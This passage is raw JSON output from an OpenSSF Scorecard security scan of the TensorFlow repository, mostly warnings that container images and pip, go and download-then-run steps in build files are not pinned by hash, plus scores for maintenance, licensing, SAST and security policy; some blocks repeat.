goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by 